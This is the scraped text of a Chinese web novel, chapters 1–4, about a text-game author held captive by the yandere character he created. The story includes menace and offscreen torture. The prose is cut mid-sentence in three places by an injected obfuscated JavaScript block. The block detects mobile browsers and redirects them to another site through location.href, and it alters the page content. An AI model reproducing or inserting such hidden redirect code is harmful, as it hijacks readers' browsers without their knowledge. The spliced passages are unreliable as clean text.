《病娇文游攻略对象出来后》 1. 文游 阴暗的房间里,许然戴着厚重的黑框眼镜,细碎的刘海遮住了一双略带黑眼圈的眼睛,面前的电脑飞速滑过一大串评论,黑白的闪屏映在许然的脸上,显得更加阴郁,里面全部都是关于自己手里一篇文游的差评。 “辣鸡游戏,怎么病娇男配还是攻略不了,都几天?作者在干嘛?” “我都服了,每次好感到99就升不上去了,再退出重进就清零了,能不能早点修复啊。” “拜托,我还等着和病娇男配谈恋爱啊……” “作者退钱,我就是为了病娇男配入坑的,充了百来块还没攻略成功。” “退钱+1” “退钱+2” “退钱+3” …… 许然点开消息,发现是编辑给自己发了消息。 --亲~~系统这边排查您的作品没有任何问题呢,请自行查询一下是否是数据安排错误,导致出现了bug。 又是这个回答。 编辑那边说没有出现bug,而自己这边数值也没有设定错误,明明这个角色可以正常攻略-- 许然再次打开文游,重新尝试攻略那个病娇男配--邬言辞。 在选择是否在雨夜为邬言辞撑伞的时候,他选择了是,邬言辞的好感度+5。 在选择是否接住从楼梯摔下的邬言辞时,他也选择了是,邬言辞的好感度+5。 在选择和邬言辞拥抱还是接吻时,他点击了接吻,好感+30 …… 没过多久,邬言辞的好感度就达到了100,达成邬言辞专属he结局。 “这不是能攻略吗?”许然皱眉烦躁道,“到底是哪里出问题了。” 电脑屏幕里,精致漂亮的少年眼睛直直看着许然,嘴角带笑,底下是一行文字:我爱你。 这是he结局的最后画面。 许然抓了抓头发,像是气馁了一般,在作者公告上发布:很抱歉,邬言辞角色攻略不成功的bug还没有修复,但我会尽快努力,请给我一些时间。 忽然,旁边的手机响起叮咚的消息提示声,许然有些迟钝地拿起手机,兴致姗姗地看是谁给给自己发信息了,毕竟他一个死宅作者,基本没几个亲朋好友会主动搭理他。 划开手机屏幕,果然,是陌生短信,许然甚至没看信息,就直接把手机扔在了一旁,没有去管。 这样做带来的后果就是手机不停地振动,甚至还打来电话,许然皱眉,这年头的诈骗电话和骚扰电话能不能少点,真的很烦人。 挂掉电话后,他看到那个陌生短信居然又发了好几条过来。 许然犹豫了片刻,点了进去,眼睛倏然瞪大。 --小然,我来找你了。 这是谁,为什么知道他的名字?这个问题还没有得到答案,底下的信息就一连串冒了出来。 --我们终于能见面啦 --你想我了吗?:) --我很想你呢。 --小然,你不是要攻略我吗? --我已经被你成功攻略了哦。 --好喜欢你啊,小然。 许然一直看到最后一条信息,心里的不安逐渐扩大,他紧张得不断用上牙咬着下唇,脑中浮现无数疑问:这些短信是什么意思?什么叫攻略了他?他又是谁? 虽然没有理解这些短信的意思,但这这看起来有点像疯狂粉丝或者变态的做法,应该是他的隐私被泄露了,这让许然感觉到很是不安。 余光瞥到旁边的电脑,里面的俊美少年不知何时已经消失了,许然点了下游戏页面也没有任何反应。 他笔下的角色确实是消失不见了,就在他的面前,但是刚刚他什么也没做。 屏幕里只剩那一行文字还在那孤零零地站在那:我爱你。 随后电脑像是不堪重负,发出了“嗞嗞”的加载数据的声音,屏幕忽然黑屏,只有红色的“我爱你”三个字一次又一次地出现,一句又一句地爱语层层叠加,直到挤满整个屏幕。 --我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你我爱你 许然意识到不对,电脑可能是中病毒了,又或者是别的什么原因,但是那其他的原因他并不敢深想。 他立刻想拔掉电脑插座,手机的短信声又将他拉回了现实。 --我好喜欢你呀小然,好喜欢好喜欢好喜欢你,喜欢得要死掉了,我对你的好感度早就无法统计啦。 --小然,我现在就在门口。 许然刚看到这条信息,门口就传来规律的敲门声。 --开门。 这是他收到的最后一条短信。 许然这下可以确定这个人来历肯定不简单,否则怎么做到下一秒就出现在他家门口的?!他不敢惊扰外面的人,轻手轻脚站在门口,透过猫眼往外面看,却没有看到任何东西,犹豫片刻,他打了报警电话。 由于很少和外界说话,许然的社交能力很差,说话的声音也小到几乎有些听不清,“……你好。” “你好。”对面回应了他,听起来声音很年轻,也很好听。 “我住在义容小区25号2单元502,我家门口可能有个怪人,你能方便上来看一下吗。” 许然原本还担心自己的声音太小,对面会听不清,又或者是大声质问自己,没想到对方非常客气道:“好的,我们现在就让小区警务室的人员过去查看。” 于是许然就开始蹲在家里的角落等警务人员的到来,他还是第一次遇到这种事情,陷入了恐慌的情绪里面,他可从来没有什么疯狂的追求者。 他只是人海茫茫里一个再不起眼的人,谁会在意他,又是谁会知道他的住址? 不知道过了多久,门口才再次传来敲门声,许然的眼珠机械地转了一下,才慢吞吞移动到门口,推了推厚重的眼镜,把门打开,“你,你好……” 但话没说完,许然就愣在了原地,走廊外不知道何时下起了倾盆大雨,面前的人处于阴影之中,在闪电下忽明忽暗,这人没有穿着警服,手里也没有任何证件,他向自己走近了一步,一张漂亮得带来视觉冲击的脸就出现在许然的面前,他纤长的睫毛微微颤动,脸上带了一丝红晕,红润的唇一张一合,“小然,你终于开门啦。” 恰好此时雷声响起,把许然的吓得回了神,他立刻就要将门关上,但是面前人却轻松地将一条腿卡了进来,让许然关不上门,他凑的离许然越近,许然就越觉得恐慌--这张脸,分明是他的文游里面那个病娇邬言辞的脸。 邬言辞挤了进来,才把门关上,笑得甜蜜,一双水润的桃花眼没有一刻离开过许然,“你见到我不开心吗?小然。” 许然吓了一跳,想要往旁边走开,却被邬言辞的手臂拦住去路,他没有理会邬言辞的问题,只是尽量把话说得平稳,“你出去,这里是我家。” 邬言辞的笑容一下僵在脸上,眼底的笑意也消失不见,这变脸的速度太快,把许然又吓了一跳,“我不认识你,你出门,警察马上就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405346|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了。” 邬言辞听到许然说话,把头放在许然的肩膀上稍稍蹭了一下,笑着道:“哪有什么警察,小然是不是糊涂了。” 许然拿起手机,咬着唇,哆嗦着打开手机屏幕,想再打电话给警察,邬言辞看着他的动作,也不阻止,只是眼里寒意越来越重。 许然打开通话记录才发现根本没有通话,那刚才和他通话的是谁? “是我,邬言辞呀,小然,别装不认识我了”邬言辞像是在忍着笑,不由许然反抗,直接将手机拿走了,“也不要老玩手机,陪我说说话,见到你我好开心。” 许然只想抢过手机对外界求助,当下立刻推开邬言辞的身体,“别靠近我,手机还给我!” 邬言辞被推到门口,忽然不动了,手机也藏在身后,不愿意给许然。 许然心下烦躁,刚要继续质问,就见邬言辞抬起那张仿佛上帝亲手制作的毫无瑕疵的脸,晶莹的泪水从眼眶落下。 “你……你哭什么?”许然小声说。 邬言辞定定看了他半晌,说:“你不喜欢我。” 这个人怎么和神经病一样,自己不喜欢他就要哭,谁会喜欢一个不知道是人是鬼的东西,他只想把这个东西赶出去,去外界求助。 “我当然不喜欢你,我怎么会喜欢一个怪物!”许然的音量不由得拔高,面前的“人”实在不可理喻。 邬言辞见眼泪对许然不起任何作用,眼泪一下止住,冷冷看着他,这张美丽带泪的脸忽然温柔地上扬嘴角,看起来有些违和以及神经质,“没关系,我会让你爱上我的。” 说完,他把手机的电话卡拔了,还给许然。 真是气死他了,他要一个没有电话卡的手机有什么用,这和拿了一块砖头有什么区别? 于是许然又打算出门,邬言辞一下挡在他身前,脸上的泪水还没干,他却扬起一个堪称甜蜜的笑容,“小然想去哪?” “与你无关。” 说完,许然就要推开门离开,邬言辞一把抓住他的手腕,力气大到许然完全无法反抗,另一只手则放在许然的脖子上,没有用力,只是暧昧地摩擦,“小然,你不乖,我会生气的。” “而我生气起来,就会想要杀人哦~”邬言辞语气温柔婉转,说出的话却让人寒冷。 放在他脖子上的手让许然有了些许危机感,许然感到身上如同有一桶冰水灌过,这个人物是他创造出来的,他怎么可以忘了,他笔下的邬言辞就是个彻头彻尾的怪胎。 在他做的文游世界里,邬言辞的家庭背景十分优越,从不缺钱,但性子确实天生的怪异病态,他的父亲是一家企业的老总,但是一次疏忽,邬言辞被人贩子拐走,失踪过一个月,回来之后性格更加喜怒无常。 他抑郁,疯狂,占有欲极强,喜欢虐杀动物,喜欢看同龄的小孩为了争夺他扔的一个限量玩具打的头破血流,然后自己就在旁边笑着看这一场闹剧。 这样的行为导致他的父母以及兄弟姐妹都不喜欢他,学校里的学生更是不敢靠近这个怪胎,但总有春心萌动的女孩看到邬言辞这张漂亮的脸而心动,递上属于她的情书。 而这时候的邬言辞会拿着那张粉色信封,害羞且惊讶地问,“这真的是给我的吗?” 女孩点点头,脸颊飞快地红了起来,“是的……” “那这么说,你是喜欢我咯?”邬言辞嘴角带笑,温柔道。 看到邬言辞这副样子,女孩以为自己要告白成功了,低下头羞涩道,“对……我喜欢邬言辞同学。” 然后她就听到纸张被撕碎的声音。 2. 断联 女孩惊恐地抬头,就看到邬言辞依然在笑,但嘴角的弧度却有些夸张,他笑到眼角溢出泪水,笑到捧腹大笑,“喜欢?你也配喜欢我?” 那封粉色信封被撕碎,扔进了垃圾桶。 女孩被吓的大哭,直接跑出了教室。 而曾经欺负他,伤害他的那些人贩子,也在邬言辞长大后一一得到了报应,他们被折去手脚,靠吊着营养液苟活,求生不得求死不能。 许然快速简单地回忆了一下邬言辞的经历,还是决定不触碰邬言辞的霉头,他怕邬言辞一个不高兴把自己直接掐死,毕竟就从刚刚的力量比较来看,自己在多年宅家的生活习惯下,完全打不过面前这个看似柔弱的美丽少年。 现在的邬言辞不想让他出门。这是许然得出的结论。 于是许然打算先暂时放弃出门,想到家里还有台他办公用的电脑,也许他可以用电脑连接网络向外部发送求助信息。 他跑回了卧室,想用电脑发信息,却发现电脑没有信号,谁把他网线拔了? 邬言辞忽然从后面拥过来,靠在许然的肩膀上,“怎么啦?” 许然一下反应过来:“是你把我的网线……” “对,是我,”邬言辞心情似乎很好,抬眼看他,“和我在一起的时候,别想着其他人,不然我会吃醋的。” 许然没有说话,之前他由于紧张和害怕,根本没意识到邬言辞触碰自己的时候根本就没有体温,现在,他才明显感觉到,靠在他身上的“人”是冰冷的。 “你说你喜欢我,那我可以碰一下你吗?”许然谨慎地开口,生怕邬言辞一个不高兴,真的把他关在家里,永远都出不去了。 邬言辞听到这句话,眼睛一亮,耳朵也红了,轻声嗯了一声,“当然了,小然怎么样都可以哦。” 许然僵硬地伸出手,去触碰邬言辞的左胸膛,却发现寂静一片。 他没有心脏。 虽然说邬言辞无论是人还是不是人,都很惊悚,但不是人显然更让许然害怕,得知这个消息的许然手一抖,立刻移开了,却被邬言辞反手抓住,继续覆盖在胸膛上。 许然看见邬言辞满脸潮红,甚至身体都控制不住在颤抖,似乎极其兴奋,“小然,多摸摸我,我喜欢你碰我。” 可是他不想再碰了。许然想着,但是又不敢把手抽开,他实在是有些胆小。 邬言辞意识到许然的脸色有些发白,才抬起头,歪了歪头,困惑地看着他,好一会儿,他才反应过来,“到晚上了,小然是不是肚子饿了?要不要我给你做饭?” 许然额头布满了细密的汗珠,只要能离开这个怪物,他说什么就是什么,“是有点饿。” 邬言辞闻言终于松开了许然的手:“我去给你做饭。” 等邬言辞终于离开,许然才松了一口气,他刚刚甚至紧张到胃痉挛,目前看来他没法通过连接外界从而获救,于是他很快有了一个新的方案,那就是趁邬言辞睡觉的时候逃脱。 不过现在他似乎需要先骗过面前这个怪物,不能让他发现异常,否则自己很有可能无法逃脱出去,还会死在他的手上。 他可没忘记,邬言辞除了病娇这个人设,还极其聪明,他除了没有给邬言辞一个完美的童年,可以说是把所有的光环都加在了他身上,算是标准的“美强惨”,这才导致一堆读者成为邬言辞的粉丝,以攻略邬言辞为目的。 许然做了几个深呼吸,调整好表情,用了极大的意志力才从卧室走出去,可是刚打开门,就看到了邬言辞,他面无表情,竟是不知道在门口站了多久。 他心脏骤停了一瞬,慌张的样子被邬言辞一览无余,邬言辞缓缓笑了一下,才减轻了身上的疏离感,“小然,忘了和你说了,我不会做饭,能不能借一下你的手机搜一下菜谱。” 许然哪敢不答应,忍住手轻微的颤抖,他把手机递了过去。 “谢谢。”邬言辞的手擦过许然的手指,冰冷,毫无温度。 邬言辞再次把手机卡插进了手机,走进厨房,手里不停滑动,似乎在搜索菜谱,许然却只觉得全身的鸡皮疙瘩都起来了。 他后知后觉,邬言辞似乎根本没有去过厨房,离开房间后,一直站在门口等着他。要是他有自言自语的习惯,八成什么东西都被邬言辞听了去。 许然咽了下口水,小心地靠近厨房,就看到邬言辞在里面捣鼓东西,但是邬言辞怎么可能搞得明白呢,他的设定可从来没有做饭这个技能,再加上他也不怎么做饭,都是点外卖。 邬言辞似乎感受到了许然的视线,转过身来,一副有些为难的样子,“小然,家里好像没有菜了。” 许然忽然想到个主意,勉强打起精神,露出一个有些僵硬的笑,“这样啊,要不我们点外卖吧。” “好啊。”邬言辞欣然同意。 “那你把手机给我吧,我知道哪里的外卖好吃。”许然几乎是有些急切地说出了这句话,说完之后又偷偷观察邬言辞的反应。 邬言辞像是什么都没察觉到,直接把手机还给了许然,天知道他在拿到手机那一刻有多激动,可是邬言辞却揽住了他的腰,把许然带在沙发上,整个人贴着许然的半边身子,和他一起看着手机屏幕。 “点呀,”邬言辞自然道,“我也很好奇,小然喜欢吃哪家店呢。” 许然只能硬着头皮选了一家普通的小餐馆,在支付密码的时候,他稍稍偏了一下手机屏幕,“我,我要输密码了。” 邬言辞眼中闪过一丝不快,但很快又恢复正常,别过了头没看。 太好了,就是这个机会。 许然赶紧返回界面,然后在备注里面打上:SOS,我家里有一个…… 但是字还没打完,手机就被抽走了,邬言辞看了眼手机,平淡道:“家里有一个什么呢?” 许然的身体微微颤抖,冷汗浸湿了后背。 然后他就听到邬言辞嘲弄道:“不会是想说--家里有个怪物吧。” 他的音调有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405347|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 古怪,是往上扬的,但是嘴角却向下,表示着他的不快。 心思直接被猜中了,许然也完全不敢就这样说出来,他能感觉到,邬言辞已经开始生气了,他会把自己杀掉的!许然在脑中快速想过多种解决方法,对了,邬言辞不是说喜欢他吗?对,邬言辞说过的! 许然像抓到了一根救命稻草一样抓住邬言辞的手,解释道:“我是想说--家里有个贤惠的男朋友。” 尽管已经见识过邬言辞的变脸速度,但许然还是会被一下变得开心明媚的邬言辞打个措手不及,邬言辞扑在他身上,睫毛下垂,眼尾发红,任谁看到都忍不住怜悯--前提是他们不知道这个家伙不是人。 “我就知道小然是喜欢我的……”说着说着,邬言辞抬起头,精致的脸上不知何时又挂上了泪珠,垂在睫毛要掉不掉,惹人怜爱,“原来小然这么爱我,爱到已经忍不住要和别人炫耀我的存在了吗。” 许然一时被邬言辞的容貌看呆了,心中一动,伸出食指把那一滴泪水撇掉,那泪就顺着手指流入了衣服缝隙,冰冰凉凉的。 邬言辞也没有动,似乎在刻意等待着许然擦去他眼睫的那滴泪,然后扯动嘴角道:“所以,前面的SOS是什么意思?” 许然被这句话砸得晕头转向,一时不知该如何回答,情急之下,他胡编道:“我随便打的,不是最近有很多颜文字吗……” 他说完,邬言辞一副不解懵懂的样子,蹙眉道:“可是,这不是求助的意思吗?难道你不是想要向外面求助?” 许然见这个解释能说法邬言辞,立刻大声道:“当然了!真的只是随手打的,我怎么会想向外界求助呢?” 邬言辞垂下眼帘,低声道:“原来是我误会小然了,对不起。” 许然连连摆手:“没关系。” 邬言辞:“那你把原来你要打的备注打上去吧。” 两个人异口同声,许然愣了一下,邬言辞双手握着他的手,表情由困惑一点点转变为悲愤,“怎么了,小然不愿意吗?不是你说的,你最爱我了吗?还是说你在骗我!” “……我怎么会骗你呢?” 经过这几次邬言辞的变脸和质问,许然这个不怎么和外界沟通的死宅也愣是学会了正常交流,还学会了如何骗人。 在邬言辞的监督下,许然只好把备注改成了“家里有一个贤惠的男朋友,别太羡慕”。 后面那句是许然自圆自说加上去的。 危机解除,时间已经很晚了,点单的人不多,外卖员也很快将快卖送了过来,送过来的时候似乎因为备注单上的字多看了两眼他们。 邬言辞笑着说:“你要是再看,我就进厨房拿菜刀挖出你的眼睛。” 许然这边听不到邬言辞那说了什么,只感觉外卖员说了句什么就立刻就走了。 邬言辞提着外卖回到餐桌,把里面的食物拿出来,摆的精致整齐,就好像和他一起共进晚餐是什么非常值得开心的事情,眼睛一刻没有离开他。 3. 梦回 许然反倒是对这些饭菜没什么胃口,草草吃了几口就放下了筷子,邬言辞更是一口没吃,全程托腮看着许然,见他不吃,还问是不是不爱吃。 拜托,谁身边呆着一个怪物还能安心吃的下去饭! 许然摇摇头,只是说没胃口,虚伪地客套道:“你不吃点吗?” 邬言辞看了眼冒着热气的菜,抿唇道:“小然都吃不下去了,我更吃不下去了呢。” 许然被邬言辞这假惺惺的面孔恶心到,更加不想在餐桌待下去,手机在点完外卖后再次被邬言辞收走了,现在的他依然联系不到外界,所以他的方法又只剩下了在邬言辞睡觉的时候逃走。 他站起身来,邬言辞也跟着站了起来,问:“小然要去做什么?” 许然扯了扯嘴角:“睡觉。” “诶?居然这么早就睡了吗?”邬言辞弯起眸子,手又不自觉攀上许然的手臂,“那我们一起睡觉吧。” 如果邬言辞愿意把手机还给自己,他当然不会这么早睡,许然心里一股怨气,但又不敢发泄出来,想到要和这个非人的东西一起睡,他更害怕了,脱口而出道:“旁边是客房,是收拾干净了的。” “客房?”邬言辞眨了眨眼,语气像孩童一样天真纯洁,他忽然凑近许然,呼出的气洒在许然的耳旁,“我为什么要去客房睡?” “我难道不是小然的男朋友吗?小然刚才也承认了的。”邬言辞似乎很纠结,对着许然喃喃道。 许然赶紧打圆场,心脏高速跳动着:“当然是了,但是现在就睡一起,是不是发展的有些早了?你说呢?” “原来小然是这样认为的呀,”邬言辞好像恍然大悟,就像是忽然理解了许然一般,然后说,“没关系呀,小然,我可以不睡觉的,我只需要一直在旁边看着你就行了。” 许然后退了两步,连忙摆手,苦口婆心:“不用了!被人看着怎么可能睡得着呢?” 邬言辞不依不饶:“为什么会睡不着,你害怕我吗?” 邬言辞的眸里清晰的倒映着许然慌张不知所措的样子,好半晌,他抚摸上许然的脸颊,一边嘴角缓缓上扬,“怎么不说话呢?为什么你总是不回答我的问题?说啊--” “没有!”许然感受到邬言辞的手滑腻地碰上自己的肌肤,就像是一条毒蛇,正在蠢蠢欲动地盯着自己的猎物,可是许然已经开始摸到了一些规律。 邬言辞从小没有爱,只要对邬言辞说软话,邬言辞一定不会对自己做出什么事,而他也可以利用邬言辞对自己莫名其妙的喜欢,从而规避掉一些风险。 “我不害怕你,但是,你也不希望我睡不好觉的,对吧?” 邬言辞似乎仔细思考了一下许然的话,半晌才轻轻开口:“原来是这样……” 邬言辞没有再纠结,而是笑了起来,他笑得温柔,语气却透露出一丝惋惜,“那好吧……小然去休息吧,晚安~” 终于把这个怪物送走,许然回到卧室,平复着内心波涛汹涌的情绪,现在时间还早,他肯定是不会睡的,他需要等邬言辞离开客厅,回房间休息,他就可以趁机跑出大门。 门外传来碗筷碰撞的声音,应该是邬言辞在收拾餐桌。 他这种阴湿病娇居然会乖巧地帮他收拾残羹剩菜?不会真把自己当成外卖备注里贤惠的男朋友了吧。许然嘲弄地想。 为了营造出一种自己早就睡了的假象,许然把房间里的灯光都熄灭了,就等着看门缝里外面的灯光熄灭没,等灯光熄灭再过一段时间,他就可以偷偷溜出去了。 许然认为自己的计划天衣无缝,激动又紧张,手心都开始冒汗。 可是,他没有等来外面黑灯,反而看到门缝底下有一部分黑了,就好像有人站在门外等待一样。 许然瞪大眼睛,十分不可思议地想,难道这个怪物还想要故技重施,再在门口等着他开门不成?真是可笑!他也不是那种一次当会上两回的人,那就比比看谁更有耐心吧。 时间一分一秒地过去,许然非常有耐心,死死盯着门口的黑影,一股安神的香味不知从哪飘进来,许然的思维不由得发散,这香味十分熟悉,是他最喜欢的檀香木,要是没记错的话,他把这个安神香放在了书房的抽屉里,有时候睡不着就会拿出来点上。 但是他今天没有点安神香,为什么会有香味飘进来? 意识变得昏沉,许然终究是没有撑过去,上眼皮下眼皮一闭,就睡着了,临睡前,他好像看到房间被打开了一条缝隙,进来了什么东西,但是他太困了,脑袋就像卡壳了一样无法思考,就陷入了一片黑暗。 -- 许然睁开眼,发现自己到了一个新的场景,这里阴暗,潮湿,没有一丝阳光的侵入,像是某个隐藏的地下室。 奇怪,他怎么会做这样的梦?他从来没见过这个地方。 沉稳的脚步声响起,好像有人正在从楼上走下来,“嗒”“嗒”“嗒”,每一步都踩在了许然的神经上,许然不知道要做什么,但是他扭头,看到了三个被五花大绑的大汉,那几个大汉意识不清,乱七八糟地躺在地上。许然就意识到了这大概不是什么好地方。 即使是在梦境,这里给许然带来的压迫感也不是一点两点,他的心脏砰砰跳,下意识想要找个掩体躲起来,就在这时候,他的面前浮现了两个选项。 一个写着A:躲进柜子。 另一个写着B:站在原地。 可能是文字游戏制作多了,许然在梦里居然还会有选项选择,这些选项一般都会影响故事最后结局的发展,但是他是什么人,他可是作者本人啊,于是他不想理会这个漂浮的选项框,打算直接走人。 他尝试迈开步伐,却发现自己完全动不了,怎么回事? 同时,他面前的选项从淡蓝色变成了深红色,面前又多了一行字:选项选择即将超时,超时后将自动为您选择选项。 看来不做出决定,他是无法行动的,这种感觉太过真实,许然甚至还是怀疑自己真的是在做梦吗? 没有时间再思考,他选择了A选项:躲进柜子。 然后他的身体就自动行动了起来,一开始许然还没发现,原来地下室角落里还有一个铁柜子,于是他便被控制着钻了进去。 柜子里闷热阴暗,许然被窄小的铁皮柜压迫着,心里有种不详的预感。 事实证明他的预感很正确,下一刻,他就看到了一个漂亮精致的少年出现在地下室,是邬言辞,每次看到他那张惊心动魄的脸都会让人内心一颤,他的出场就像偶像剧里集所有魅力于一身的男主角,无数的粉红泡泡都会从地下冒出,缓缓上升,在他身边炸开,形成旖旎暧昧的氛围。 邬言辞慢慢走到三个人面前,神情是许然从未见到过的冷酷,眼里闪着光,懒懒伸出脚踹了面前的几个大汉,“喂,睡醒没?” 那几个大汉闷哼一身,浑身发颤,见来人是邬言辞,竟是想要直接咬舌自尽,邬言辞伸出白皙的手,一把捏住下颚,力道大到男人觉得自己的下巴都要被捏碎了。 “我还没让你死,你怎么敢死?”邬言辞边说,边笑着把布料忘他嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405348|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里塞,还不忘轻蔑地拍拍他的脸,“想想你当初怎么对我的,我会千方百计地还回来,你只能受着,别想忤逆我。” 说完,他又“啧”了一声,像是觉得手上脏了,从口袋里拿出湿巾擦了擦,嫌弃地扔在了男人的脸上。 邬言辞又拿出了什么东西,有反光从许然眼前飞速滑过,如果没猜错的话,应该是匕首。 接下来的画面过于血腥,许然只听到了男人的惨叫声,他不敢看,选择闭上了眼睛。当初许然只在里面写到了邬言辞用尽所有办法去折磨这几个人,但具体过程并没有描述,只有亲身在这个场景,才能体会到邬言辞有多么表面一套背面一套,明明做的是残忍可怕的事情,嘴角却永远带着那一丝若有若无的笑意。 真是太可怕了。 许然细微地发着抖,为什么这个梦还没有结束,他想从这里离开,不对,从这里离开,他就要真的面对那个怪物了! 就在这个时候,他感觉外面的声响停了,那几个男人是死了吗?怎么一点声音都没有。 “咚”,“咚”,“咚”,“咚”。 自己的心跳声在寂静的地方显得十分大声,许然甚至怀疑邬言辞是不是听到了自己的心跳,他缓缓睁开眼,想看透过衣柜上的几条缝隙看外面是怎么一回事。 然而,他一睁眼,就看到那张艳丽的脸被缝隙切割成好几个板块,他故作惊讶说了句“哇哦”。 然后弯眸笑着说:“宝宝,你被发现了哦。” -- 许然蹭地一下从床上坐起,整个人被汗浸湿,像从水里捞出来的,结果一睁眼又是邬言辞那张美的不可方物的脸,立刻短促地叫出了声,“啊!” “咦?小然,你怎么出了这么多汗?”邬言辞趴在许然身旁,一双眼睛亮亮地盯着许然。 许然捂着胸口缓了好一会儿才反应过来现在的情况,该死,他怎么睡着了! 于是他只好继续和邬言辞虚与委蛇:“没事的,可能就是太热了……说起来,你怎么会在这?你不在客房睡觉吗?” 邬言辞笑了笑:“小然是不是忘记了,我说了,我不需要睡觉的呀。” 邬言辞似乎很喜欢贴得离许然极近,就像是得了皮肤饥渴症一样,于是许然闻到了他身上若有若无的檀木香,和睡前闻到的一样,视线一转,门外的灯依然开着,门缝里却始终有块黑影。 于是许然站起身,打开门,发现门口放了一双鞋,他顿时感到如坠冰窟,亏他还以为邬言辞一直在门外看着他,真是自作聪明。 邬言辞跟在身后,趴在许然的肩膀,柔软的黑发弄得许然身上痒痒的,“小然,要起床了吗?我做好了早餐哦。” 许然听邬言辞的话走到客厅,果然看到一桌满汉全席,小笼包,灌汤包,小米粥,油条,豆浆……应有尽有。 “你出门了?”许然不禁疑问道。 邬言辞低低笑了一声:“是呀,我昨天晚上就出门了哦,出去了好长一段时间呢~毕竟我怕小然睡不安稳。” 邬言辞故意把尾音拖长,说的话似乎别有深意。 “买完回来就在学习怎么做饭,你看,我的手都被烫伤了呢。”邬言辞说着,像是十分委屈一般伸出手指,于是许然就看到那完美的如同建模一般的指尖不知何时冒出了一个水泡。 许然在心里唾弃邬言辞活该,却还是一副担忧的样子,“谢谢你,你其实不用为我做这些的……” “我乐意,”邬言辞打断许然的话,然后靠得更近,垂眸可怜道,“痛痛,吹吹。” 4. 错失 我吹你妈呢! 许然在心里郁闷地大喊,但这时候他还想问邬言辞一些问题,于是只能依言捧起邬言辞的手指,轻轻在上面有些敷衍地吹了两下。 只见邬言辞的脸以一种极快的速度红了起来,他有些兴奋道:“我还要!小然!再吹两下!” 许然只好耐心地再吹了两下,想着这就够了吧,于是便松开了邬言辞的手,他似乎神情低落了一些,但又很快恢复正常,许然也正好有了时机问话。 “邬言辞,刚刚我出门的时候,好像看到房间门口放了一双拖鞋,怎么我进房间的时候都没看到啊?” 许然想知道是不是邬言辞放的,如果真的是,那他实在是太可怕了,居然能猜到许然下一步会做什么……思及至此,他心里又产生了浓浓的懊悔,邬言辞说他昨天晚上出门了,如果他没睡着,是不是早就逃出去了? 邬言辞看着许然,慢慢露出一个微笑,“可能是我走路不小心把那双鞋踢过去了吧。” 没想到邬言辞给出的理由如此简单,许然心里有些怪异,但也没有在多想,或许这次真的只是一次意外,他还会有机会逃出去的。 闻到早餐的香味,许然的肚子也忍不住咕咕叫,昨天晚上没有吃什么东西,早上饥饿感就汹涌地扑上来。 邬言辞将许然推到桌前坐下,眉眼含笑:“快尝尝我的手艺。” 许然再怎么不舒服,也不能让自己饿死,而且邬言辞看起来还是很期待自己吃他做的早餐的,于是他在试探地动了一筷子后,忍不住在心里暗自惊讶,邬言辞的学习能力真的很快,这顿早餐做的无比的美味,说是五星大厨来做的米其林大餐也不为过。 于是许然吃的很快,风卷云残,看到邬言辞还托腮看着自己,他不禁减慢下了吃饭的速度,犹豫地开口:“你不吃吗?” 当然,不吃最好,早点把这个怪物饿死。他也就不用如此提心吊胆了。 邬言辞悠悠叹了口气:“我也想和小然共进早餐,可惜不可以呢,早上我想尝尝做的味道如何,却被这些食物烫伤了,我好像不能吃这些烫的东西。” 然后他的神情又变得高兴:“我没法吃无所谓呀,小然看起来很爱吃呢。” 许然的手僵硬了一下,黑框眼镜有些反光,让人看不清他眼底的情绪,他度量着邬言辞对自己的容忍度,尝试开口道:“对呀,你做的真的太好吃了,要是尝不到就太可惜了……” “啪嗒”一声,邬言辞忽然把手里的勺子打碎了,就连筷子也掉在了地上,他就好像做错了事情的小孩,“对不起小然,我不小心打碎了餐具,厨房好像没有多余的碗筷了。” 是了,许然不是点外卖就是吃泡面,又常常一个人独居,家里并没有多少餐具。 许然不甚在意,只想让邬言辞吃下这些早餐,虽然他想的这个方法有些愚蠢,但如果怪物真的能因为吃了人类的食物撑死或者烫死,那也是极好的。 于是他露出了这两天以来最自然的一个笑容:“没事的,我喂你尝尝。” 邬言辞听了,略带羞涩道:“真是麻烦小然了……” 说完,他便主动凑到了许然旁边,红润的嘴唇微微张开,就像在像他讨要奖赏一样。 像只忠实的哈巴狗。许然想。 他拿起了自己的勺子,喂了邬言辞一口滚烫的小米粥,悄悄压下嘴角的笑意,状似无意道:“怎么样,味道还可以吧。” 